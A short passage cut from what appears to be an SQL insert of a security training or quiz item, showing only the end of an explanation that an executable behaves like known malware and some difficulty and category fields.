executable shows behavior consistent with known malware, warranting further investigation.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0);
